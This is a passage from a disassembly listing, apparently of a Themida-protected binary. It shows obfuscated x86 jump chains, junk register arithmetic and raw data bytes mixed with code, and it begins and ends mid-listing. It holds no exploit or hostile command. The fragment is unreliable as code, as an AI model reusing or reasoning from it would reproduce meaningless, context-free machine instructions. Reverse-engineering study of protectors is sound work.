36C6A769h mov edx, ecx pop ecx or edx, 4F3731AFh add edx, 51351774h push 6310h mov [esp], ecx jmp loc_501F0E ; --------------------------------------------------------------------------- dd 6824048Bh, 8Eh, 54240489h, 40558h, 5B680000h, 89000031h dd 0A5E92414h, 21h, 180EE9D8h, 4890000h, 9142B824h, 0C781D2A4h dd 7BD72275h, 77BAEF81h, 0F7E969E9h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5042EB: ; CODE XREF: Themida_:00502316j add eax, edi mov edi, [esp] add esp, 4 mov edi, [esp] jmp loc_508C14 ; --------------------------------------------------------------------------- dw 2D58h dd 792A26BBh, 4003E8C1h, 20180135h, 58C1894Eh, 373DBD55h dd 0E9097AD7h, 6CDAE95Dh, 0FA290000h, 554AC281h, 0EA81109Bh dd 50CF4F3Bh, 2C4DE9h db 0 ; --------------------------------------------------------------------------- loc_504331: ; CODE XREF: Themida_:005041BAj sub esi, 26175FBEh jmp loc_5086C8 ; --------------------------------------------------------------------------- dd 2474FF57h, 243C8B04h, 8F04C483h, 248B2404h, 65EDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_504352: ; CODE XREF: Themida_:00509F2Dj mov ecx, 0F9B27BAh sub ecx, 29A14B0Eh inc ecx and ecx, 72DD0F82h jmp loc_504287 ; --------------------------------------------------------------------------- loc_504369: ; CODE XREF: Themida_:00508C8Ej add ebp, 4 push 72AAh mov [esp], edi jmp loc_5055C7 ; --------------------------------------------------------------------------- dd 9C2424D3h, 0FFAD3CE9h, 0C78166FFh, 296647F7h, 4AE95FFBh dd 0BBFFFFCCh, 2, 471FED81h, 0DD013F6Ch, 471FC581h, 34FF3F6Ch dd 0FC90E924h, 0CFBBFFFFh, 0F7447170h, 0EAF1E9DBh, 0C181FFFFh dd 4, 0FFB1A4E9h, 243489FFh, 666E9h, 5AD02800h, 0C828012Ch dd 53660104h, 0BEE92FB3h, 5BFFFFE8h, 14E9F788h, 66FFFFF7h dd 0E924048Bh, 23E5h ; --------------------------------------------------------------------------- loc_5043F0: ; CODE XREF: Themida_:00509FA6j pop ebp push dword ptr [esp] jmp loc_5069D3 ; --------------------------------------------------------------------------- db 1, 0DDh, 5Bh dd 2C8BE801h, 5CCE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_504406: ; CODE XREF: Themida_:0050AAF0j mov esp, [esp] push ebp mov ebp, 5E337DA1h push 0 sub [esp], ebp pop ebp push ebp jmp loc_50164D ; --------------------------------------------------------------------------- loc_50441E: ; CODE XREF: Themida_:0050699Dj pop ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp mov ebp, 27023F6Ah sub ebx, ebp pop ebp jmp loc_50758A ; --------------------------------------------------------------------------- db 54h dd 8324048Fh, 0E9042404h, 68F4h, 4C781h, 0C7830000h, 243C8704h dd 0D0BA525Ch, 4A05972Ah, 8102E2C1h, 0DA0907C2h, 0E9DAF743h dd 0FFFFF161h, 1FE58145h, 4D7A7934h, 0C581DDF7h, 613420h dd 2D73E9h db 0 ; --------------------------------------------------------------------------- loc_504485: ; CODE XREF: Themida_:00501F1Bj add edx, 5E7C35D4h and ecx, edx pop edx shl ecx, 6 push edi mov edi, 0 sub edi, ecx mov ecx, edi pop edi jmp loc_50A6AE ; --------------------------------------------------------------------------- db 42h, 81h, 0EAh dd 8AD99F91h, 0FFDE6EE9h, 0E149BAFFh, 0D6310FC0h, 8BF7895Ah dd 89512434h, 4C181E1h, 83000000h, 0C8704C1h, 0C350E924h dd 0D989FFFFh, 0FFE3DAE9h, 89C589FFh, 46585DEEh, 0E94EDEF7h dd 561Ch, 0D4B6ED81h, 0BEE9FC27h, 0BB000039h, 4, 0BE565351h dd 4C2A4CD4h, 57CE681h, 0DEF749FEh, 4A04E9h db 0 ; --------------------------------------------------------------------------- loc_504509: ; CODE XREF: Themida_:00509354j xor ecx, eax mov eax, [esp] add esp, 4 mov ebp, ecx push dword ptr [esp] pop ecx add esp, 4 add [esp+4], ebp pop ebp pop edx jmp loc_502151 ; --------------------------------------------------------------------------- dd 4C18159h, 83000000h, 18E904C1h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504537: ; CODE XREF: Themida_:00506A6Bj mov ebp, 5968429Dh xor ebp, edx jmp loc_50325A ; --------------------------------------------------------------------------- db 5Eh dd 4EF81h, 3C330000h, 0F1FFE924h, 4F66FFFFh, 66D7F766h dd 26E9D7F7h, 68FFFFFEh, 780Fh, 24048F54h, 4240483h, 0FFD673E9h dd 243C89FFh, 12B9E9h, 0AB685800h, 89000023h, 5E542434h dd 4B951h, 0CE010000h, 4EC8159h, 89000000h, 4BF243Ch, 1000000h dd 243C8BFEh, 8704C483h, 0BFE92434h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5045AB: ; CODE XREF: Themida_:0050B2A1j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push ebp jmp loc_503DB1 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0CF010000h, 2EF8159h, 68000000h, 6540h, 0FF243C89h dd 8B042474h, 8956243Ch, 0E6AE9E6h, 54530000h, 4C3815Bh dd 83000000h, 0AEE904C3h, 8B000032h, 0C6E92424h, 5EFFFFAAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5065AD ; --------------------------------------------------------------------------- dd 0E95BDF01h, 1D1Fh ; --------------------------------------------------------------------------- loc_504618: ; CODE XREF: Themida_:00504D98j push ebx mov ebx, 0FFFFFFFFh push eax jmp loc_504DEB ; --------------------------------------------------------------------------- dd 10E9DE89h, 51000062h, 260BE9h, 0D0E95800h, 31000067h dd 0C33240Ch, 24248B24h, 57241C89h, 0C781E789h, 4, 0E904EF83h dd 0D2Ah, 6459C781h, 565E595Ch, 2BEh, 5EF70100h, 3EDEE9h dd 0EFE95D00h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50466F: ; CODE XREF: Themida_:00505431j add edx, 7EAB6E7Ah sub edx, 1B225E27h push esi jmp loc_5047D2 ; --------------------------------------------------------------------------- db 4, 21h, 4 aTTspUSq7 db '(,SP7',0 align 4 dd 60C98159h, 0E96CAF73h, 0FFFFF15Eh, 7E4CBF57h, 0C781659Fh dd 165438DCh, 0B724EF81h, 0FD897BF3h, 3768E95Fh, 0C1810000h dd 4, 8704E983h, 545C240Ch, 8124048Fh, 42404h, 815F0000h dd 4ECh, 240C8900h, 4B9h, 59CF0100h, 5704EF83h, 42474FFh dd 81243C8Bh, 4C4h, 24048F00h, 8924248Bh, 0BEE9240Ch, 49FFFFA9h dd 28DE9h db 0 ; --------------------------------------------------------------------------- loc_504709: ; CODE XREF: Themida_:00504E06j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp loc_50471B: ; CODE XREF: Themida_:00504D0Dj push 4C97h mov [esp], ebx jmp loc_4FF809 ; --------------------------------------------------------------------------- dd 8104C483h, 4C7h, 4BB5300h, 81000000h, 5055D0EFh, 52EF8138h dd 12D5E61h, 52C781DFh, 812D5E61h, 5055D0C7h, 3C875B38h dd 24248B24h, 0E99CC885h, 0FFFFA961h, 7CC6815Dh, 0E9757575h dd 0FFFFC636h, 0C828F404h, 3059F42Ch, 0C0B60FC3h, 0FF8734FFh dd 0F6E92434h, 81FFFFFDh, 4C1h, 4E98300h, 4220E9h db 0 ; --------------------------------------------------------------------------- loc_504791: ; CODE XREF: Themida_:005032EDj add esp, 4 push edi push 70F249A3h pop edi dec edi sub edi, 30C566DEh shr edi, 4 jmp loc_502247 ; --------------------------------------------------------------------------- dw 0EA81h dd 632D4D29h, 5AD6295Bh, 5C243487h, 2701E9h, 5E08900h dd 4, 42Dh, 24048700h, 0F0B9E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5047D2: ; CODE XREF: Themida_:0050467Cj push 52917337h mov esi, [esp] add esp, 4 xor esi, 274B754Eh sub esp, 4 mov [esp], ecx loc_5047E9: ; DATA XREF: Themida_:005170C4o push esi mov esi, 63DD7C6Ah not esi shl esi, 5 jmp loc_506F13 ; --------------------------------------------------------------------------- db 28h, 0EBh, 0E9h dd 1EACh, 4EC81h, 0C890000h, 75E95424h, 5BFFFFD6h, 31243C33h dd 3C33243Ch, 24248B24h, 2404D366h, 0A89BE99Ch, 5866FFFFh dd 5166D3F6h, 80E2B252h, 0FFE9A0F2h, 5CFFFFF1h, 53240C89h dd 9F15F6BBh, 0F3814B5Fh, 5F9F1609h, 0D3CFE953h, 0F181FFFFh dd 3E67A5D2h, 17E9CE01h, 31FFFFEFh, 41E92414h, 83000063h dd 148904ECh, 9D7BA24h, 0D629075Ch, 5124148Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 61685C24h, 89000069h, 6850240Ch dd 4F6441FEh, 0FFFA65E9h db 0FFh ; --------------------------------------------------------------------------- loc_504899: ; CODE XREF: Themida_:00509C3Bj xor esi, 5E8352A6h sub edx, esi pop esi add edx, 21BC1D54h add edx, ebp sub edx, 21BC1D54h push 4163h mov [esp], esi push edi jmp loc_5003E5 ; --------------------------------------------------------------------------- dw 2C87h dd 14895C24h, 0D4B95124h, 8159957Fh, 4ECh, 24048900h, 957FD5B8h dd 693BE959h, 0E6890000h, 4C681h, 0E9520000h, 0C73h, 0CD87D1F7h dd 89F581h, 0EB294439h, 81D3295Dh, 331FCCC3h, 0C3295A34h dd 6F96C381h, 0EB814703h, 27C40B8Dh, 23DC68h, 24048900h dd 0E92434FFh, 0FFFFED9Ch, 0E904C483h, 0FFFFA799h, 240C8B66h dd 815D5455h, 4C5h, 4EC8100h, 0E9000000h, 1823h, 2C04C483h dd 4D800AFh, 35B753AFh, 0FE93F780h, 0E9EF80CFh, 45BF800h dd 2EC8323h, 241C8966h, 1D4DE9h db 0 ; --------------------------------------------------------------------------- loc_504965: ; CODE XREF: Themida_:005085F2j push edi mov edi, 555A57F9h sub edi, 43786E95h add edi, 0EE1E169Dh mov edx, edi jmp loc_5081F5 ; --------------------------------------------------------------------------- dw 1C89h aIuwhv? db '$Wh?',0 dd 242C8900h, 0F11B21BDh, 5AB7E969h, 0F1810000h, 62DB1A44h dd 2959C829h, 57A5E9D0h, 42BA0000h, 8170C4B8h, 0A474C2C2h dd 81CA295Ch, 0A474C2EAh, 0B31CE95Ch, 348BFFFFh, 4C48124h dd 83000000h, 48F04C4h, 4577E924h, 54570000h, 4C7815Fh dd 81000000h, 4C7h, 243C8700h, 2404335Ch, 33240431h, 43E92404h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5049F3: ; CODE XREF: Themida_:00507F62j neg edi shl edi, 8 and edi, 69CE2F4Dh shr edi, 3 add edi, 16E953F3h jmp loc_506509 ; --------------------------------------------------------------------------- dd 51D830ACh, 88DEB353h, 241C8BD9h, 4C481h, 0E1800000h dd 9BC18066h, 24BDE9h db 0 ; --------------------------------------------------------------------------- loc_504A29: ; CODE XREF: Themida_:0050041Cj mov [eax], ch mov ecx, [esp] jmp loc_5001D0 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 83000000h, 148904ECh, 0AE685524h, 0E9392335h dd 3797h ; --------------------------------------------------------------------------- loc_504A4C: ; CODE XREF: Themida_:005095F0j xor [esp], esi xor esi, [esp] mov esp, [esp] push ebx mov ebx, 7854512Eh jmp loc_5017A0 ; --------------------------------------------------------------------------- loc_504A60: ; CODE XREF: Themida_:005053C2j mov ebp, 20B96C20h sub eax, ebp pop ebp sub eax, ecx push ebp mov ebp, 20B96C20h add eax, ebp jmp loc_501862 ; --------------------------------------------------------------------------- db 5Ah dd 8B243487h, 148B2424h, 83E95324h, 0C1FFFFC4h, 0EFC106EFh dd 4EC8106h, 0E9000000h, 5380h, 9D1C77FFh, 0D3665966h dd 0E99C241Ch, 3DA3h, 7EE95266h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_504AAF: ; CODE XREF: Themida_:00507B37j xchg ebp, [esp] jmp loc_503B01 ; --------------------------------------------------------------------------- aRs db 'R]"',0 db 0 ; --------------------------------------------------------------------------- loc_504ABD: ; CODE XREF: Themida_:00506BF9j mov [esp], esi mov esi, 0B9DAD4C0h sub ecx, esi mov esi, [esp] add esp, 4 and eax, ecx pop ecx or eax, eax jz loc_500F99 push dword ptr [edi+28h] push dword ptr [esp] mov eax, [esp] add esp, 4 push edi push esp pop edi add edi, 4 push ebx mov ebx, 4 push ecx mov ecx, 7F9106ACh jmp loc_5089DD ; --------------------------------------------------------------------------- dd 42474FFh, 81240C8Bh, 4C4h, 5D31E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_504B16: ; CODE XREF: Themida_:00502855j push dword ptr [esp] pop esi add esp, 4 or edx, eax shl edx, 1 jmp loc_5034E8 ; --------------------------------------------------------------------------- dw 248Bh dd 24048F24h, 0E924248Bh, 6BFh, 0F706E7C1h, 0F78147DFh dd 7CD6AC03h, 24348157h, 17736C8Fh, 0FFCB9FE9h db 0FFh ; --------------------------------------------------------------------------- loc_504B4D: ; CODE XREF: Themida_:00500A6Ej mov [esp], ebx mov ebx, 7ADF66CDh not ebx neg ebx inc ebx add ebx, 603F1267h or ebx, 588B35F3h jmp loc_50920D ; --------------------------------------------------------------------------- loc_504B6B: ; CODE XREF: Themida_:00501897j xor esi, eax pop eax dec esi xchg ebx, esi not ebx xchg ebx, esi jmp loc_507D65 ; --------------------------------------------------------------------------- dw 3C87h dd 0F8E95C24h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_504B83: ; CODE XREF: Themida_:0050582Dj pop edi jmp loc_506C98 ; --------------------------------------------------------------------------- db 57h, 0BFh, 0Dh dd 0E97EFA31h, 157Bh, 496CE9ACh, 0E9500000h, 0E19h, 8034EB80h dd 0CBFEF7CBh, 0FFBB5DE9h, 9B9BFFFh, 0EFC13DC0h, 81EFD103h dd 5E4864E7h, 0EFC1471Bh, 0AAB85008h, 5655C62h, 57F445A9h dd 6A3CE135h, 35D0F71Fh, 0A239CF49h, 48BC701h, 4C48124h dd 1000000h, 8AE95FFEh, 81000024h, 4C4h, 9C054000h, 35F274B2h dd 625C129Fh, 8358C501h, 2C8704EDh, 14895C24h, 0E99C5024h dd 0FFFFA4B1h ; --------------------------------------------------------------------------- loc_504C10: ; CODE XREF: Themida_:004FFF42j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov eax, [esp] add esp, 4 xchg eax, edi push 9BCh mov [esp], esi push ebx push esi mov esi, 52831E7Ah sub esi, 0E174CF75h mov ebx, esi mov esi, [esp] jmp loc_508ACE ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 61A8E9h, 240C3100h, 5C240C33h, 2404FF66h, 0A45FE99Ch dd 6C05FFFFh, 29006606h, 88E958C1h, 66000017h, 68240C8Bh dd 5466h, 0E9243C89h, 109Dh, 1DE9D7F7h, 0F7FFFFB2h, 0F186E9DAh dd 0C483FFFFh, 4B85004h, 81000000h, 5973ADC7h, 81C7010Dh dd 5973ADEFh, 3398E90Dh, 56500000h, 2622EEBEh, 0AFEE8100h dd 81618514h, 2056DCE6h, 0B9EE814Eh, 89DEFFF2h, 0BF575EF0h dd 7ABD12E4h, 1114E9h db 0 ; --------------------------------------------------------------------------- loc_504CD1: ; CODE XREF: Themida_:00507B20j mov [esp], ebx jmp loc_5002CE ; --------------------------------------------------------------------------- db 5Ch, 81h, 0ECh dd 4, 0E9241C89h, 0FFFFC20Bh, 0D2E9028Fh, 0F7FFFFA3h, 0DCA5E9D5h dd 0C6E9FFFFh db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504CFB: ; CODE XREF: Themida_:0050789Cj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jz loc_50471B push dword ptr [edi+1Ch] sub dword ptr [esp], 46D265C7h pop ecx push 5DC8h mov [esp], esi mov esi, 46D265C7h push ebp mov ebp, 178761B7h jmp loc_5041F9 ; --------------------------------------------------------------------------- dw 77FFh dd 0A383E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504D3E: ; CODE XREF: Themida_:00502EF3j sub esi, edx pop edx sub esi, edi jmp loc_504131 ; --------------------------------------------------------------------------- dd 2867EF80h, 0CE9BE9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504D52: ; CODE XREF: Themida_:00506783j pop edx sub esp, 4 mov [esp], edx mov edx, 6504E7Bh sub edx, 7A402358h neg edx shl edx, 2 push ecx mov ecx, 4FEA1576h sub edx, ecx pop ecx jmp loc_5071F1 ; --------------------------------------------------------------------------- dw 6C01h dd 40E90424h, 81FFFFD1h, 4ECh, 3CA9E900h, 0D1F70000h, 0FFEBAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_504D95: ; CODE XREF: Themida_:0050AA87j mov [esp], ecx jmp loc_504618 ; --------------------------------------------------------------------------- loc_504D9D: ; CODE XREF: Themida_:005037EFj or eax, eax jz loc_509F84 push ebx push edx jmp loc_50038F ; --------------------------------------------------------------------------- dd 0C3815B54h, 4, 4BF57h, 0FB010000h, 85E9535Fh, 1FFFFE6h dd 24048BC1h, 4C481h, 0E9830000h, 240C8704h, 97DE9h, 1D50BE00h dd 0F6815FAEh, 5C8E3D18h, 0DBE9D6F7h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_504DEB: ; CODE XREF: Themida_:0050461Fj mov eax, ebx mov ecx, eax pop eax push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 sub [edi+24h], ecx mov ecx, [esp] push ebp jmp loc_504709 ; --------------------------------------------------------------------------- loc_504E0B: ; CODE XREF: Themida_:00502E91j mov ebp, [esp] jmp loc_509E80 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4EA8300h, 5C241487h, 0E9243489h, 0FFFFC79Ch, 0E904EC83h dd 0FFFFEE7Dh, 4240481h, 5E000000h, 332E9h, 240C8700h dd 6624248Bh, 2404B30Fh, 0A273E99Ch, 8966FFFFh, 6AE92404h dd 1FFFFA2h, 15A5FFEh, 0E9D15EF1h, 29B8C981h, 0F18178C8h dd 78FDEFFFh, 241C8B51h, 4C481h, 0E9590000h, 47EAh ; --------------------------------------------------------------------------- loc_504E7C: ; CODE XREF: Themida_:00502696j add esi, 2685405Ch pop ebx and eax, esi mov esi, [esp] jmp loc_507899 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5804h, 24248B24h, 9C2404D3h, 0FFA220E9h db 0FFh ; --------------------------------------------------------------------------- loc_504EA1: ; CODE XREF: Themida_:00501AABj mov ebx, [esp] add esp, 4 xchg esi, [esp] pop esp push ebx jmp loc_50A2D4 ; --------------------------------------------------------------------------- loc_504EB4: ; CODE XREF: Themida_:00508AC9j push eax mov esi, [esp] add esp, 4 mov eax, [esp] add esp, 4 and eax, esi pop esi or edx, eax jmp loc_509528 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 0FFFFD7F4h, 6492068h, 0A96FE97Ch, 0C89FFFFh dd 587B6824h, 24890000h, 2348E924h, 295E0000h, 80C381EBh dd 5D61C955h, 31241C33h, 1C33241Ch, 0D67AE924h, 8B54FFFFh dd 0C483240Ch, 4C18104h, 83000000h, 0C8702C1h, 2CD25C24h dd 9EE99C24h, 5FFFFA1h, 1D6961B5h, 0FFBE50E9h, 5AD188FFh dd 32240C30h, 0C30240Ch, 0A183E924h, 1489FFFFh, 3D95E924h dd 34870000h, 0DEF75C24h, 5548BD55h, 0B6E93BBCh, 0E9FFFFA9h dd 0FFFFA165h ; --------------------------------------------------------------------------- loc_504F5C: ; CODE XREF: Themida_:005007D8j add edx, 4 xchg edx, [esp] jmp loc_508062 ; --------------------------------------------------------------------------- loc_504F67: ; CODE XREF: Themida_:004FFA7Bj mov edi, 11D579BFh jmp loc_5077A1 ; --------------------------------------------------------------------------- db 0E9h, 4Bh, 0A1h dd 0F801FFFFh, 6E0C15Fh, 0D12D3C2Dh, 58C10142h, 5102C183h dd 42474FFh, 3922E9h, 81C32900h, 3B4F26C3h, 0BEEB8132h dd 0E91A6724h, 0FFFFAFFFh, 0F708EEC1h, 0C1EE81DEh, 5540A14Dh dd 0FFEC68E9h, 4C781FFh, 83000000h, 3C8704C7h, 0BA525C24h dd 0E547D90h, 0E95AD001h, 359Ch ; --------------------------------------------------------------------------- loc_504FD0: ; CODE XREF: Themida_:0050A5C1j add edi, 4BB16481h xor edi, 0FD4F73E2h mov ebp, edi pop edi mov esi, ebp pop ebp push eax mov eax, 164E49D2h shl eax, 6 dec eax shl eax, 6 jmp loc_50188C ; --------------------------------------------------------------------------- dd 0C89665Ch, 0A0C3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504FFE: ; CODE XREF: Themida_:005009DDj push ebx mov ebx, 375B3BA4h shr ebx, 6 inc ebx jmp loc_50898E ; --------------------------------------------------------------------------- db 81h, 0F7h, 1Fh dd 894E8BE7h, 0C3815FFBh, 1E636762h, 94E9FB29h, 1FFFFA1h dd 65C281CAh, 5904AB70h, 0FFA916E9h, 241C8BFFh, 0E904C483h dd 0FFFFCBF5h, 95F5957h, 34FF1C4Fh, 0E9685924h, 89000034h dd 0E0892404h, 69DC68h, 241C8900h, 0FA2A02BBh, 13F3816Ch dd 0F7417842h, 0EABD55D3h, 31D27D97h, 0D8015DEBh, 83241C8Bh dd 0C08304C4h, 24048704h, 0A03FE95Ch, 31ADFFFFh, 6852D8h dd 0E9000070h, 0FFFFE92Bh, 0E9240C89h, 0FFFFFE6Eh, 3218B850h dd 0E9483B94h, 4882h, 16D4EB81h, 0EB816B69h, 1FA3296h dd 815BDE21h, 60620F6h, 5EF38910h, 73A0C381h, 0FB014F78h dd 73A0EB81h, 8E684F78h, 89000009h, 99BF243Ch, 0C75ACE67h dd 31986803h, 8B3B01A5h, 0C483243Ch, 2434FF04h, 0E289525Bh dd 4C281h, 0C2830000h, 24148704h, 4EC835Ch, 54243C89h dd 10E9515Fh, 89000060h, 0EABD242Ch, 564E3C69h, 0A66692BEh dd 0BECE8142h, 0C135DB69h, 0EE8105E6h, 91528FA4h, 8107E6C1h dd 204F89C6h, 1BB537Eh, 1000000h, 0F6815BDEh, 85E83460h dd 0B8E9F531h, 31FFFFF4h, 0DF355FF8h, 813F2D36h, 0A23714EFh dd 81C70165h, 0A23714C7h, 3C335865h, 0D9EBE924h, 2768FFFFh dd 89000019h, 52E9240Ch, 81FFFF9Fh, 4C6h, 2BA5200h, 0E9000000h dd 60A9h, 241C895Ch, 0FFB75DE9h db 0FFh ; --------------------------------------------------------------------------- loc_505189: ; CODE XREF: Themida_:00508650j add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_507615 ; --------------------------------------------------------------------------- db 8Fh dd 7AE92404h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5051A7: ; CODE XREF: Themida_:005027BFj xchg edi, [esp] pop esp sub ch, 0F3h sub ch, 0BEh add al, 0EFh sub al, ch sub al, 0EFh mov ecx, [esp] add esp, 4 push edx push ecx jmp loc_506945 ; --------------------------------------------------------------------------- dd 4C481h, 14330000h, 24143124h, 8B241433h, 0F662424h dd 9C2404BBh, 4A5FE9h, 8E0C100h, 4BE9D8F7h, 87000002h dd 0ECE92404h, 66000010h, 2404AB0Fh, 9EC3E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5051FE: ; CODE XREF: Themida_:004FF9BDj jmp loc_4FF0C1 ; --------------------------------------------------------------------------- loc_505203: ; CODE XREF: Themida_:0050279Fj mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_5018D3 ; --------------------------------------------------------------------------- loc_505219: ; CODE XREF: Themida_:0050209Fj mov [esp], ebx push ebp push edx jmp loc_506A66 ; --------------------------------------------------------------------------- db 51h dd 4B9h, 0E9CA0100h, 0FFFFEACFh, 8904EC83h, 4832424h, 0E9E90424h dd 0C1FFFFF2h, 0C38105EBh, 4CBC8C7Ch, 685BD829h, 266Eh dd 0E9241489h, 0FFFFEA6Dh, 0E956C301h, 0FFFFD29Ch, 1A79B0BBh dd 58CDE90Dh, 215E0000h, 81455AD5h, 681550C5h, 0E9EA8924h dd 0FFFFF3EDh ; --------------------------------------------------------------------------- loc_50527C: ; CODE XREF: Themida_:0050880Cj push 4 pop edi jmp loc_503C38 ; --------------------------------------------------------------------------- db 66h dd 8124148Bh, 2C4h, 4EAC000h, 0C280D2F6h, 0B3CCE911h, 0D4BBFFFFh dd 816B7C5Bh, 4276F3h, 0FF91E903h, 0F381FFFFh, 7609630h dd 3CF7E9h, 0E9535100h, 0FFFFC986h, 746B50BEh, 3992E952h dd 4870000h, 34335C24h, 24343124h, 623E9h, 243C8700h, 8924248Bh dd 0D1E9240Ch, 0FFFFFFE0h, 59042474h, 8B24048Fh, 24D22424h dd 0C6E99C24h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5052FB: ; CODE XREF: Themida_:005096FCj add ecx, 57BE69C5h mov esi, [esp] push edi jmp loc_5012B0 ; --------------------------------------------------------------------------- dw 0BDh dd 0C13E3830h, 0D5F707E5h, 81DDF74Dh, 930E7DCDh, 85C58115h dd 1E264F1h, 1C875DEBh, 0EB815C24h, 7B5E74A5h, 0BF57C329h dd 7B5E74A5h, 525FFB01h, 0DE5392BAh, 3CD5E969h, 34FF0000h dd 2434FF24h, 3CE1E958h, 0CB010000h, 0D2FEB81h, 815941F8h dd 8D2509E9h, 81D90143h, 8D2509C1h, 2434FF43h, 4C4815Bh dd 83000000h, 0C8702C1h, 0F95BE924h, 3C87FFFFh, 2C895C24h dd 0BD555024h, 2902713Ch, 4246C01h, 83242C8Bh, 2C8B04C4h dd 4C48124h, 51000000h, 65BA5256h, 0BE69000Ch, 91116AE7h dd 0E95AD629h, 4B94h ; --------------------------------------------------------------------------- loc_5053B4: ; CODE XREF: Themida_:004FF145j pop esp push ecx mov ecx, 60F45602h xor ecx, 50667407h push ebp jmp loc_504A60 ; --------------------------------------------------------------------------- db 0Fh dd 34FFC0B6h, 215A6887h, 1C890000h, 773BBB24h, 6C810B44h dd 6EA50424h, 72E91990h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5053E7: ; CODE XREF: Themida_:00501EDCj mov esi, edx mov edx, [esp] add esp, 4 add esi, ebx jmp loc_502AE9 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h aPsw db 'Pw-',0 align 2 aLS7 db '$$*7',0 align 2 dw 15Dh dd 0BD69E9D9h, 0C083FFFFh, 24048704h, 9CA3E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50541E: ; CODE XREF: Themida_:00505D72j mov edx, 20h add edx, 1B225E27h sub edx, 7EAB6E7Ah add edx, edi jmp loc_50466F ; --------------------------------------------------------------------------- dw 0C425h dd 2D30D15Eh, 0A593F784h, 8758C789h db 2 dup(0F7h) aSf@ db 'F@',0 ; DATA XREF: ___:off_4274D8o align 4 dd 6C2BBD55h, 0CD817791h, 42E507DBh, 7C09F581h, 0BF5721A8h dd 7EDF4A3Fh, 0C15FFD01h, 0B85002E5h, 0AB0E8740h, 158C501h dd 0B8505DEEh, 39284F38h, 0D7B0CC05h, 58C601C6h, 5C243487h dd 5C24048Fh, 240C8966h, 0C8B60F66h, 0E99C5166h, 5BD2h dd 5866C688h, 4BE9D7F6h, 1FFFFC3h, 0A140E9C2h, 0C780FFFFh dd 5BFC2842h, 8011EC80h, 0B753F9E4h, 0C6A7E92Dh, 8B66FFFFh dd 93682404h, 8900002Ch, 61682404h, 8900001Dh, 0BD552424h dd 4, 4246C01h, 405585Dh, 56000000h, 1515A9BEh, 42E9463Dh dd 66FFFFBFh, 1EA81h, 244BE9h, 30C7B000h, 602C5AF0h, 6004E828h dd 0E9240C8Bh, 195Ah, 0E5BB5357h, 0F7286F2Dh, 81D3F7D3h dd 6F2DE1EBh, 9FC9E928h, 6866FFFFh, 89662D43h, 5EE92414h dd 0BE000033h, 68A96EF0h, 412DE953h, 0C5680000h, 8900002Eh dd 0EC832434h, 242C8904h, 0FF9BD9E9h db 0FFh ; --------------------------------------------------------------------------- loc_505551: ; CODE XREF: Themida_:00505BF9j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_502C60 ; --------------------------------------------------------------------------- db 0BAh dd 64FD3B92h, 4A05E2C1h, 0EA81D2F7h, 232F178Eh, 12C0E281h dd 0BB537F16h, 0C2FFEE04h, 27D9E9h, 81E68900h, 4C6h, 0BD555000h dd 7C952769h, 0D89BC581h, 0E889836Ah, 0E9C6015Dh, 0FFFFCF49h dd 0C8A5E950h, 0B850FFFFh, 5ED03A0Ch, 2971E952h, 8B660000h dd 0E9512404h, 0FFFFCD92h, 108CF381h, 0FFE91EC8h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5055C7: ; CODE XREF: Themida_:00504377j push edx mov edx, 7844166Dh push esi mov esi, 3CBC212Eh shr esi, 7 add esi, 452FA1D6h sub edx, esi pop esi and edx, 2EDA65D6h neg edx not edx sub edx, 229A644Fh mov edi, edx pop edx add ebp, edi jmp loc_506CF5 ; --------------------------------------------------------------------------- db 81h, 0C2h, 9Fh dd 1154B1Ch, 0F0895AD6h, 2444815Eh, 9404B904h, 2444016Eh dd 246C8104h, 9404B904h, 24048B6Eh, 4C481h, 34FF0000h dd 89575E24h, 0CD09E9E7h, 0EA81FFFFh, 79FC787Fh, 0C281CA29h dd 79FC787Fh, 1A06EA81h, 2959022Bh, 3EB951C2h, 0E966C71Fh dd 54C1h, 4B850h, 0C1010000h, 4EC8358h, 1782E9h, 0E9566600h dd 68Ch, 59C368h, 0A461E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505672: 